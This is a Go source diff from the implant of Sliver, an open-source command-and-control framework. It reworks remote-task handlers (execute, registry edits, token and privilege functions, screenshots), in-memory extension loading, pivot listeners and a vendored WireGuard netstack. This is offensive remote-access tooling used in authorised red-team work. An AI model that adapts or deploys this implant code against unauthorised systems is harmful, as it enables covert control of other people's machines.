@@ -137,7 +136,7 @@ func ECCEncryptToServer(plaintext []byte) ([]byte, error) {
return msg, nil
}
// ECCEncryptToPeer - Encrypt using the peer's public key
// ECCEncryptToPeer - Encrypt using the server's public key
func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, plaintext []byte) ([]byte, error) {
valid := MinisignVerify(recipientPublicKey, recipientPublicKeySig)
if !valid {
@@ -153,7 +152,7 @@ func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, p
return ciphertext, nil
}
// ECCDecryptFromPeer - Decrypt a message from a peer
// ECCEncryptToPeer - Encrypt using the server's public key
func ECCDecryptFromPeer(senderPublicKey []byte, senderPublicKeySig string, ciphertext []byte) ([]byte, error) {
valid := MinisignVerify(senderPublicKey, senderPublicKeySig)
if !valid {
+35 -12
View File
@@ -20,7 +20,10 @@ package extension
import (
"bytes"
"io/ioutil"
"os"
"runtime"
"syscall"
"unsafe"
// {{if .Config.Debug}}
@@ -39,10 +42,12 @@ type DarwinExtension struct {
}
type extensionArguments struct {
inDataSize uintptr
inDataBuff uintptr
outDataSize uintptr
outDataBuff uintptr
inDataSize uintptr
inDataBuff uintptr
pipeIn int
pipeOut int
// outDataSize uintptr
// outDataBuff uintptr
}
func NewDarwinExtension(data []byte, id string, arch string, init string) *DarwinExtension {
@@ -98,7 +103,16 @@ func (d *DarwinExtension) Call(export string, arguments []byte, onFinish func([]
// {{if .Config.Debug}}
log.Printf("Calling %s, arg size: %d\n", export, extArgs.inDataSize)
// {{end}}
_, err := d.module.Call(export, uintptr(unsafe.Pointer(&extArgs)))
pipe := make([]int, 2)
err := syscall.Pipe(pipe)
if err != nil {
return err
}
defer syscall.Close(pipe[0])
defer syscall.Close(pipe[1])
extArgs.pipeIn = pipe[0] // read
extArgs.pipeOut = pipe[1] // write
_, err = d.module.Call(export, uintptr(unsafe.Pointer(&extArgs)))
if err != nil {
return err
}
@@ -106,14 +120,23 @@ func (d *DarwinExtension) Call(export string, arguments []byte, onFinish func([]
log.Printf("%s done!\n", export)
// {{end}}
outData := new(bytes.Buffer)
outDataSize := int(extArgs.outDataSize)
// {{if .Config.Debug}}
log.Printf("Out data size: %d\n", outDataSize)
// {{end}}
for i := 0; i < outDataSize; i++ {
b := (*byte)(unsafe.Pointer(uintptr(i) + extArgs.outDataBuff))
outData.WriteByte(*b)
outFile := os.NewFile(uintptr(extArgs.pipeIn), "pipe")
if outFile == nil {
return syscall.EINVAL
}
data, err := ioutil.ReadAll(outFile)
if err != nil {
return err
}
outData.Write(data)
// outDataSize := int(extArgs.outDataSize)
// // {{if .Config.Debug}}
// log.Printf("Out data size: %d\n", outDataSize)
// // {{end}}
// for i := 0; i < outDataSize; i++ {
// b := (*byte)(unsafe.Pointer(uintptr(i) + extArgs.outDataBuff))
// outData.WriteByte(*b)
// }
// We currently don't have a way to trigger a callback
// in the loaded code for Darwin.
if outData.Len() > 0 {
+7 -11
View File
@@ -37,15 +37,15 @@ const (
)
type WindowsExtension struct {
id string
data []byte
module *memmod.Module
arch string
init string
onFinish func([]byte)
id string
data []byte
module *memmod.Module
arch string
init string
onFinish func([]byte)
serverStore bool
}
// NewWindowsExtension - Load a new windows extension
func NewWindowsExtension(data []byte, id string, arch string, init string) *WindowsExtension {
return &WindowsExtension{
id: id,
@@ -55,17 +55,14 @@ func NewWindowsExtension(data []byte, id string, arch string, init string) *Wind
}
}
// GetID - Get the extension ID
func (w *WindowsExtension) GetID() string {
return w.id
}
// GetArch - Get the extension architecture
func (w *WindowsExtension) GetArch() string {
return w.arch
}
// Load - Load the extension into memory
func (w *WindowsExtension) Load() error {
var err error
if len(w.data) == 0 {
@@ -89,7 +86,6 @@ func (w *WindowsExtension) Load() error {
return nil
}
// Call - Call an extension export
func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
var (
argumentsPtr uintptr
+17 -41
View File
@@ -153,7 +153,7 @@ func rmHandler(data []byte, resp RPCResponse) {
_, err = os.Stat(target)
if err == nil {
if (target == "/" || target == "C:\\") && !rmReq.Force {
err = errors.New("cowardly refusing to remove volume root without force")
err = errors.New("Cowardly refusing to remove volume root without force")
}
}
@@ -178,28 +178,6 @@ func rmHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func mvHandler(data []byte, resp RPCResponse) {
mvReq := &sliverpb.MvReq{}
err := proto.Unmarshal(data, mvReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
move := &sliverpb.Mv{}
err = os.Rename(mvReq.Src, mvReq.Dst)
if err != nil {
move.Response = &commonpb.Response{
Err: err.Error(),
}
}
data, err = proto.Marshal(move)
resp(data, err)
}
func mkdirHandler(data []byte, resp RPCResponse) {
mkdirReq := &sliverpb.MkdirReq{}
err := proto.Unmarshal(data, mkdirReq)
@@ -551,30 +529,31 @@ func unsetEnvHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func reconfigureHandler(data []byte, resp RPCResponse) {
reconfigReq := &sliverpb.ReconfigureReq{}
err := proto.Unmarshal(data, reconfigReq)
func reconnectIntervalHandler(data []byte, resp RPCResponse) {
reconnectIntervalReq := &sliverpb.ReconnectIntervalReq{}
err := proto.Unmarshal(data, reconnectIntervalReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v\n", err)
// {{end}}
return
}
if reconfigReq.ReconnectInterval != 0 {
transports.SetReconnectInterval(reconfigReq.ReconnectInterval)
}
// {{if .Config.IsBeacon}}
if reconfigReq.BeaconInterval != 0 {
transports.SetInterval(reconfigReq.BeaconInterval)
}
if reconfigReq.BeaconJitter != 0 {
transports.SetJitter(reconfigReq.BeaconJitter)
}
reconnectInterval := reconnectIntervalReq.GetReconnectInterval()
// {{if .Config.Debug}}
log.Printf("Update reconnect interval called: %d\n", reconnectInterval)
// {{end}}
reconfigResp := &sliverpb.Reconfigure{}
data, err = proto.Marshal(reconfigResp)
// Set the reconnect interval value
transports.SetReconnectInterval(reconnectInterval)
recIntervalResp := &sliverpb.ReconnectInterval{}
recIntervalResp.Response = &commonpb.Response{}
if err != nil {
recIntervalResp.Response.Err = err.Error()
}
data, err = proto.Marshal(recIntervalResp)
resp(data, err)
}
@@ -582,9 +561,6 @@ func reconfigureHandler(data []byte, resp RPCResponse) {
func gzipWrite(w io.Writer, data []byte) error {
gw, err := gzip.NewWriterLevel(w, gzip.BestSpeed)
if err != nil {
return err
}
defer gw.Close()
gw.Write(data)
return err
+2 -3
View File
@@ -37,7 +37,6 @@ var (
pb.MsgPwdReq: pwdHandler,
pb.MsgRmReq: rmHandler,
pb.MsgMkdirReq: mkdirHandler,
pb.MsgMvReq: mvHandler,
pb.MsgIfconfigReq: ifconfigHandler,
pb.MsgExecuteReq: executeHandler,
pb.MsgEnvReq: getEnvHandler,
@@ -49,8 +48,8 @@ var (
pb.MsgSideloadReq: sideloadHandler,
pb.MsgReconfigureReq: reconfigureHandler,
pb.MsgSSHCommandReq: runSSHCommandHandler,
pb.MsgReconnectIntervalReq: reconnectIntervalHandler,
pb.MsgSSHCommandReq: runSSHCommandHandler,
// Extensions
pb.MsgRegisterExtensionReq: registerExtensionHandler,
+13 -14
View File
@@ -32,20 +32,19 @@ import (
var (
genericHandlers = map[uint32]RPCHandler{
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
}
)
+2 -4
View File
@@ -34,7 +34,6 @@ var (
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgTaskReq: taskHandler,
sliverpb.MsgIfconfigReq: ifconfigHandler,
sliverpb.MsgExecuteReq: executeHandler,
@@ -47,9 +46,8 @@ var (
sliverpb.MsgNetstatReq: netstatHandler,
sliverpb.MsgSideloadReq: sideloadHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
sliverpb.MsgProcessDumpReq: dumpHandler,
sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
// {{if .Config.WGc2Enabled}}
// Wireguard specific
+21 -55
View File
@@ -65,7 +65,6 @@ var (
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgExecuteTokenReq: executeTokenHandler,
sliverpb.MsgGetPrivsReq: getPrivsHandler,
sliverpb.MsgCurrentTokenOwnerReq: currentTokenOwnerHandler,
// Platform specific
sliverpb.MsgIfconfigReq: ifconfigHandler,
@@ -78,23 +77,21 @@ var (
sliverpb.MsgRegistryReadReq: regReadHandler,
sliverpb.MsgRegistryWriteReq: regWriteHandler,
sliverpb.MsgRegistryCreateKeyReq: regCreateKeyHandler,
sliverpb.MsgRegistryDeleteKeyReq: regDeleteKeyHandler,
sliverpb.MsgRegistrySubKeysListReq: regSubKeysListHandler,
sliverpb.MsgRegistryListValuesReq: regValuesListHandler,
// Generic
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
// Extensions
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
@@ -178,26 +175,6 @@ func revToSelfHandler(_ []byte, resp RPCResponse) {
resp(data, err)
}
func currentTokenOwnerHandler(data []byte, resp RPCResponse) {
tokOwnReq := &sliverpb.CurrentTokenOwnerReq{}
err := proto.Unmarshal(data, tokOwnReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
getCT := &sliverpb.CurrentTokenOwner{}
owner, err := priv.CurrentTokenOwner()
if err != nil {
getCT.Response = &commonpb.Response{Err: err.Error()}
}
getCT.Output = owner
data, err = proto.Marshal(getCT)
resp(data, err)
}
func getsystemHandler(data []byte, resp RPCResponse) {
getSysReq := &sliverpb.InvokeGetSystemReq{}
err := proto.Unmarshal(data, getSysReq)
@@ -519,23 +496,6 @@ func regCreateKeyHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func regDeleteKeyHandler(data []byte, resp RPCResponse) {
deleteReq := &sliverpb.RegistryDeleteKeyReq{}
err := proto.Unmarshal(data, deleteReq)
if err != nil {
return
}
err = registry.DeleteKey(deleteReq.Hostname, deleteReq.Hive, deleteReq.Path, deleteReq.Key)
deleteResp := &sliverpb.RegistryDeleteKey{
Response: &commonpb.Response{},
}
if err != nil {
deleteResp.Response.Err = err.Error()
}
data, err = proto.Marshal(deleteResp)
resp(data, err)
}
func regSubKeysListHandler(data []byte, resp RPCResponse) {
listReq := &sliverpb.RegistrySubKeyListReq{}
err := proto.Unmarshal(data, listReq)
@@ -624,17 +584,20 @@ func getPrivsHandler(data []byte, resp RPCResponse) {
func registerExtensionHandler(data []byte, resp RPCResponse) {
registerReq := &sliverpb.RegisterExtensionReq{}
err := proto.Unmarshal(data, registerReq)
if err != nil {
return
}
ext := extension.NewWindowsExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
extension.Add(ext)
err = ext.Load()
registerResp := &sliverpb.RegisterExtension{Response: &commonpb.Response{}}
registerResp := &sliverpb.RegisterExtension{
Response: &commonpb.Response{},
}
if err != nil {
registerResp.Response.Err = err.Error()
} else {
extension.Add(ext)
}
data, err = proto.Marshal(registerResp)
resp(data, err)
@@ -642,12 +605,15 @@ func registerExtensionHandler(data []byte, resp RPCResponse) {
func callExtensionHandler(data []byte, resp RPCResponse) {
callReq := &sliverpb.CallExtensionReq{}
err := proto.Unmarshal(data, callReq)
if err != nil {
return
}
callResp := &sliverpb.CallExtension{Response: &commonpb.Response{}}
callResp := &sliverpb.CallExtension{
Response: &commonpb.Response{},
}
gotOutput := false
err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
gotOutput = true
+4 -13
View File
@@ -69,8 +69,8 @@ func pivotStartListenerHandler(envelope *pb.Envelope, connection *transports.Con
return
}
if createListener, ok := pivots.SupportedPivotListeners[req.Type]; ok {
listener, err := createListener(req.BindAddress, connection.Send)
if startListener, ok := pivots.SupportedPivotListeners[req.Type]; ok {
listener, err := startListener(req.BindAddress, connection.Send)
if err != nil {
resp.Response.Err = err.Error()
data, _ := proto.Marshal(resp)
@@ -80,7 +80,6 @@ func pivotStartListenerHandler(envelope *pb.Envelope, connection *transports.Con
}
return
}
go listener.Start()
pivots.AddListener(listener)
data, _ := proto.Marshal(listener.ToProtobuf())
connection.Send <- &pb.Envelope{
@@ -118,20 +117,12 @@ func pivotStopListenerHandler(envelope *pb.Envelope, connection *transports.Conn
}
func pivotPeerEnvelopeHandler(envelope *pb.Envelope, connection *transports.Connection) {
sent, err := pivots.SendToPeer(envelope)
sent := pivots.SendToPeer(envelope)
if !sent {
// {{if .Config.Debug}}
log.Printf("Send to peer failed, report peer failure upstream ...")
// {{end}}
errStr := ""
if err != nil {
errStr = err.Error()
}
data, _ := proto.Marshal(&pb.PivotPeerFailure{
PeerID: pivots.MyPeerID,
Type: pb.PeerFailureType_SEND_FAILURE,
Err: errStr,
})
data, _ := proto.Marshal(&pb.PivotPeerFailure{ID: envelope.ID})
connection.Send <- &pb.Envelope{
Type: pb.MsgPivotPeerFailure,
Data: data,
+4 -4
View File
@@ -174,7 +174,7 @@ func ifconfig() *sliverpb.Ifconfig {
}
func screenshotHandler(data []byte, resp RPCResponse) {
sc := &sliverpb.ScreenshotReq{}
sc := &sliverpb.Screenshot{}
err := proto.Unmarshal(data, sc)
if err != nil {
// {{if .Config.Debug}}
@@ -185,9 +185,9 @@ func screenshotHandler(data []byte, resp RPCResponse) {
// {{if .Config.Debug}}
log.Printf("Screenshot Request")
// {{end}}
scRes := &sliverpb.Screenshot{}
scRes.Data = screen.Screenshot()
data, err = proto.Marshal(scRes)
sc.Data = screen.Screenshot()
data, err = proto.Marshal(sc)
resp(data, err)
}
+1 -5
View File
@@ -22,7 +22,6 @@ package handlers
import (
"os"
"time"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -55,9 +54,6 @@ func killHandler(data []byte, _ *transports.Connection) error {
// {{if .Config.Debug}}
log.Println("Let's exit!")
// {{end}}
go func() {
time.Sleep(time.Second)
os.Exit(0)
}()
os.Exit(0)
return nil
}
+100 -351
View File
@@ -1,6 +1,7 @@
/* SPDX-License-Identifier: MIT
*
* Copyright (C) 2019-2021 WireGuard LLC. All Rights Reserved.
* https://git.zx2c4.com/wireguard-go/tree/tun/netstack/tun.go
*/
package netstack
@@ -13,9 +14,7 @@ import (
"fmt"
"io"
"net"
"net/netip"
"os"
"regexp"
"strconv"
"strings"
"time"
@@ -23,17 +22,15 @@ import (
"golang.zx2c4.com/wireguard/tun"
"golang.org/x/net/dns/dnsmessage"
"gvisor.dev/gvisor/pkg/tcpip"
"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
"gvisor.dev/gvisor/pkg/tcpip/buffer"
"gvisor.dev/gvisor/pkg/tcpip/header"
"gvisor.dev/gvisor/pkg/tcpip/network/ipv4"
"gvisor.dev/gvisor/pkg/tcpip/network/ipv6"
"gvisor.dev/gvisor/pkg/tcpip/stack"
"gvisor.dev/gvisor/pkg/tcpip/transport/icmp"
"gvisor.dev/gvisor/pkg/tcpip/transport/tcp"
"gvisor.dev/gvisor/pkg/tcpip/transport/udp"
"gvisor.dev/gvisor/pkg/waiter"
"inet.af/netstack/tcpip"
"inet.af/netstack/tcpip/adapters/gonet"
"inet.af/netstack/tcpip/buffer"
"inet.af/netstack/tcpip/header"
"inet.af/netstack/tcpip/network/ipv4"
"inet.af/netstack/tcpip/network/ipv6"
"inet.af/netstack/tcpip/stack"
"inet.af/netstack/tcpip/transport/tcp"
"inet.af/netstack/tcpip/transport/udp"
)
type netTun struct {
@@ -42,14 +39,11 @@ type netTun struct {
events chan tun.Event
incomingPacket chan buffer.VectorisedView
mtu int
dnsServers []netip.Addr
dnsServers []net.IP
hasV4, hasV6 bool
}
type (
endpoint netTun
Net netTun
)
type endpoint netTun
type Net netTun
func (e *endpoint) Attach(dispatcher stack.NetworkDispatcher) {
e.dispatcher = dispatcher
@@ -81,16 +75,12 @@ func (*endpoint) LinkAddress() tcpip.LinkAddress {
func (*endpoint) Wait() {}
func (e *endpoint) WritePacket(_ stack.RouteInfo, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
func (e *endpoint) WritePacket(_ stack.RouteInfo, _ *stack.GSO, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
e.incomingPacket <- buffer.NewVectorisedView(pkt.Size(), pkt.Views())
return nil
}
func (e *endpoint) WritePackets(stack.RouteInfo, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
panic("not implemented")
}
func (e *endpoint) WriteRawPacket(*stack.PacketBuffer) tcpip.Error {
func (e *endpoint) WritePackets(stack.RouteInfo, *stack.GSO, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
panic("not implemented")
}
@@ -101,10 +91,10 @@ func (*endpoint) ARPHardwareType() header.ARPHardwareType {
func (e *endpoint) AddHeader(tcpip.LinkAddress, tcpip.LinkAddress, tcpip.NetworkProtocolNumber, *stack.PacketBuffer) {
}
func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device, *Net, error) {
func CreateNetTUN(localAddresses, dnsServers []net.IP, mtu int) (tun.Device, *Net, error) {
opts := stack.Options{
NetworkProtocols: []stack.NetworkProtocolFactory{ipv4.NewProtocol, ipv6.NewProtocol},
TransportProtocols: []stack.TransportProtocolFactory{tcp.NewProtocol, udp.NewProtocol, icmp.NewProtocol6, icmp.NewProtocol4},
TransportProtocols: []stack.TransportProtocolFactory{tcp.NewProtocol, udp.NewProtocol},
HandleLocal: true,
}
dev := &netTun{
@@ -119,23 +109,17 @@ func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device,
return nil, nil, fmt.Errorf("CreateNIC: %v", tcpipErr)
}
for _, ip := range localAddresses {
var protoNumber tcpip.NetworkProtocolNumber
if ip.Is4() {
protoNumber = ipv4.ProtocolNumber
} else if ip.Is6() {
protoNumber = ipv6.ProtocolNumber
}
protoAddr := tcpip.ProtocolAddress{
Protocol: protoNumber,
AddressWithPrefix: tcpip.Address(ip.AsSlice()).WithPrefix(),
}
tcpipErr := dev.stack.AddProtocolAddress(1, protoAddr, stack.AddressProperties{})
if tcpipErr != nil {
return nil, nil, fmt.Errorf("AddProtocolAddress(%v): %v", ip, tcpipErr)
}
if ip.Is4() {
if ip4 := ip.To4(); ip4 != nil {
tcpipErr = dev.stack.AddAddress(1, ipv4.ProtocolNumber, tcpip.Address(ip4))
if tcpipErr != nil {
return nil, nil, fmt.Errorf("AddAddress(%v): %v", ip4, tcpipErr)
}
dev.hasV4 = true
} else if ip.Is6() {
} else {
tcpipErr = dev.stack.AddAddress(1, ipv6.ProtocolNumber, tcpip.Address(ip))
if tcpipErr != nil {
return nil, nil, fmt.Errorf("AddAddress(%v): %v", ip4, tcpipErr)
}
dev.hasV6 = true
}
}
@@ -145,6 +129,10 @@ func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device,
if dev.hasV6 {
dev.stack.AddRoute(tcpip.Route{Destination: header.IPv6EmptySubnet, NIC: 1})
}
// tcpipErr = dev.stack.SetPromiscuousMode(1, true)
// if tcpipErr != nil {
// return nil, nil, fmt.Errorf("SetPromiscuousMode: %v", tcpipErr)
// }
dev.events <- tun.EventUp
return dev, (*Net)(dev), nil
@@ -207,289 +195,60 @@ func (tun *netTun) MTU() (int, error) {
return tun.mtu, nil
}
func convertToFullAddr(endpoint netip.AddrPort) (tcpip.FullAddress, tcpip.NetworkProtocolNumber) {
var protoNumber tcpip.NetworkProtocolNumber
if endpoint.Addr().Is4() {
protoNumber = ipv4.ProtocolNumber
func convertToFullAddr(ip net.IP, port int) (tcpip.FullAddress, tcpip.NetworkProtocolNumber) {
if ip4 := ip.To4(); ip4 != nil {
return tcpip.FullAddress{
NIC: 1,
Addr: tcpip.Address(ip4),
Port: uint16(port),
}, ipv4.ProtocolNumber
} else {
protoNumber = ipv6.ProtocolNumber
return tcpip.FullAddress{
NIC: 1,
Addr: tcpip.Address(ip),
Port: uint16(port),
}, ipv6.ProtocolNumber
}
return tcpip.FullAddress{
NIC: 1,
Addr: tcpip.Address(endpoint.Addr().AsSlice()),
Port: endpoint.Port(),
}, protoNumber
}
func (net *Net) DialContextTCPAddrPort(ctx context.Context, addr netip.AddrPort) (*gonet.TCPConn, error) {
fa, pn := convertToFullAddr(addr)
return gonet.DialContextTCP(ctx, net.stack, fa, pn)
}
func (net *Net) DialContextTCP(ctx context.Context, addr *net.TCPAddr) (*gonet.TCPConn, error) {
if addr == nil {
return net.DialContextTCPAddrPort(ctx, netip.AddrPort{})
panic("todo: deal with auto addr semantics for nil addr")
}
ip, _ := netip.AddrFromSlice(addr.IP)
return net.DialContextTCPAddrPort(ctx, netip.AddrPortFrom(ip, uint16(addr.Port)))
}
func (net *Net) DialTCPAddrPort(addr netip.AddrPort) (*gonet.TCPConn, error) {
fa, pn := convertToFullAddr(addr)
return gonet.DialTCP(net.stack, fa, pn)
fa, pn := convertToFullAddr(addr.IP, addr.Port)
return gonet.DialContextTCP(ctx, net.stack, fa, pn)
}
func (net *Net) DialTCP(addr *net.TCPAddr) (*gonet.TCPConn, error) {
if addr == nil {
return net.DialTCPAddrPort(netip.AddrPort{})
panic("todo: deal with auto addr semantics for nil addr")
}
ip, _ := netip.AddrFromSlice(addr.IP)
return net.DialTCPAddrPort(netip.AddrPortFrom(ip, uint16(addr.Port)))
}
func (net *Net) ListenTCPAddrPort(addr netip.AddrPort) (*gonet.TCPListener, error) {
fa, pn := convertToFullAddr(addr)
return gonet.ListenTCP(net.stack, fa, pn)
fa, pn := convertToFullAddr(addr.IP, addr.Port)
return gonet.DialTCP(net.stack, fa, pn)
}
func (net *Net) ListenTCP(addr *net.TCPAddr) (*gonet.TCPListener, error) {
if addr == nil {
return net.ListenTCPAddrPort(netip.AddrPort{})
panic("todo: deal with auto addr semantics for nil addr")
}
ip, _ := netip.AddrFromSlice(addr.IP)
return net.ListenTCPAddrPort(netip.AddrPortFrom(ip, uint16(addr.Port)))
}
func (net *Net) DialUDPAddrPort(laddr, raddr netip.AddrPort) (*gonet.UDPConn, error) {
var lfa, rfa *tcpip.FullAddress
var pn tcpip.NetworkProtocolNumber
if laddr.IsValid() || laddr.Port() > 0 {
var addr tcpip.FullAddress
addr, pn = convertToFullAddr(laddr)
lfa = &addr
}
if raddr.IsValid() || raddr.Port() > 0 {
var addr tcpip.FullAddress
addr, pn = convertToFullAddr(raddr)
rfa = &addr
}
return gonet.DialUDP(net.stack, lfa, rfa, pn)
}
func (net *Net) ListenUDPAddrPort(laddr netip.AddrPort) (*gonet.UDPConn, error) {
return net.DialUDPAddrPort(laddr, netip.AddrPort{})
fa, pn := convertToFullAddr(addr.IP, addr.Port)
return gonet.ListenTCP(net.stack, fa, pn)
}
func (net *Net) DialUDP(laddr, raddr *net.UDPAddr) (*gonet.UDPConn, error) {
var la, ra netip.AddrPort
var lfa, rfa *tcpip.FullAddress
var pn tcpip.NetworkProtocolNumber
if laddr != nil {
ip, _ := netip.AddrFromSlice(laddr.IP)
la = netip.AddrPortFrom(ip, uint16(laddr.Port))
var addr tcpip.FullAddress
addr, pn = convertToFullAddr(laddr.IP, laddr.Port)
lfa = &addr
}
if raddr != nil {
ip, _ := netip.AddrFromSlice(raddr.IP)
ra = netip.AddrPortFrom(ip, uint16(raddr.Port))
var addr tcpip.FullAddress
addr, pn = convertToFullAddr(raddr.IP, raddr.Port)
rfa = &addr
}
return net.DialUDPAddrPort(la, ra)
}
func (net *Net) ListenUDP(laddr *net.UDPAddr) (*gonet.UDPConn, error) {
return net.DialUDP(laddr, nil)
}
type PingConn struct {
laddr PingAddr
raddr PingAddr
wq waiter.Queue
ep tcpip.Endpoint
deadline *time.Timer
}
type PingAddr struct{ addr netip.Addr }
func (ia PingAddr) String() string {
return ia.addr.String()
}
func (ia PingAddr) Network() string {
if ia.addr.Is4() {
return "ping4"
} else if ia.addr.Is6() {
return "ping6"
}
return "ping"
}
func (ia PingAddr) Addr() netip.Addr {
return ia.addr
}
func PingAddrFromAddr(addr netip.Addr) *PingAddr {
return &PingAddr{addr}
}
func (net *Net) DialPingAddr(laddr, raddr netip.Addr) (*PingConn, error) {
if !laddr.IsValid() && !raddr.IsValid() {
return nil, errors.New("ping dial: invalid address")
}
v6 := laddr.Is6() || raddr.Is6()
bind := laddr.IsValid()
if !bind {
if v6 {
laddr = netip.IPv6Unspecified()
} else {
laddr = netip.IPv4Unspecified()
}
}
tn := icmp.ProtocolNumber4
pn := ipv4.ProtocolNumber
if v6 {
tn = icmp.ProtocolNumber6
pn = ipv6.ProtocolNumber
}
pc := &PingConn{
laddr: PingAddr{laddr},
deadline: time.NewTimer(time.Hour << 10),
}
pc.deadline.Stop()
ep, tcpipErr := net.stack.NewEndpoint(tn, pn, &pc.wq)
if tcpipErr != nil {
return nil, fmt.Errorf("ping socket: endpoint: %s", tcpipErr)
}
pc.ep = ep
if bind {
fa, _ := convertToFullAddr(netip.AddrPortFrom(laddr, 0))
if tcpipErr = pc.ep.Bind(fa); tcpipErr != nil {
return nil, fmt.Errorf("ping bind: %s", tcpipErr)
}
}
if raddr.IsValid() {
pc.raddr = PingAddr{raddr}
fa, _ := convertToFullAddr(netip.AddrPortFrom(raddr, 0))
if tcpipErr = pc.ep.Connect(fa); tcpipErr != nil {
return nil, fmt.Errorf("ping connect: %s", tcpipErr)
}
}
return pc, nil
}
func (net *Net) ListenPingAddr(laddr netip.Addr) (*PingConn, error) {
return net.DialPingAddr(laddr, netip.Addr{})
}
func (net *Net) DialPing(laddr, raddr *PingAddr) (*PingConn, error) {
var la, ra netip.Addr
if laddr != nil {
la = laddr.addr
}
if raddr != nil {
ra = raddr.addr
}
return net.DialPingAddr(la, ra)
}
func (net *Net) ListenPing(laddr *PingAddr) (*PingConn, error) {
var la netip.Addr
if laddr != nil {
la = laddr.addr
}
return net.ListenPingAddr(la)
}
func (pc *PingConn) LocalAddr() net.Addr {
return pc.laddr
}
func (pc *PingConn) RemoteAddr() net.Addr {
return pc.raddr
}
func (pc *PingConn) Close() error {
pc.deadline.Reset(0)
pc.ep.Close()
return nil
}
func (pc *PingConn) SetWriteDeadline(t time.Time) error {
return errors.New("not implemented")
}
func (pc *PingConn) WriteTo(p []byte, addr net.Addr) (n int, err error) {
var na netip.Addr
switch v := addr.(type) {
case *PingAddr:
na = v.addr
case *net.IPAddr:
na, _ = netip.AddrFromSlice(v.IP)
default:
return 0, fmt.Errorf("ping write: wrong net.Addr type")
}
if !((na.Is4() && pc.laddr.addr.Is4()) || (na.Is6() && pc.laddr.addr.Is6())) {
return 0, fmt.Errorf("ping write: mismatched protocols")
}
buf := buffer.NewViewFromBytes(p)
rdr := buf.Reader()
rfa, _ := convertToFullAddr(netip.AddrPortFrom(na, 0))
// won't block, no deadlines
n64, tcpipErr := pc.ep.Write(&rdr, tcpip.WriteOptions{
To: &rfa,
})
if tcpipErr != nil {
return int(n64), fmt.Errorf("ping write: %s", tcpipErr)
}
return int(n64), nil
}
func (pc *PingConn) Write(p []byte) (n int, err error) {
return pc.WriteTo(p, &pc.raddr)
}
func (pc *PingConn) ReadFrom(p []byte) (n int, addr net.Addr, err error) {
e, notifyCh := waiter.NewChannelEntry(nil)
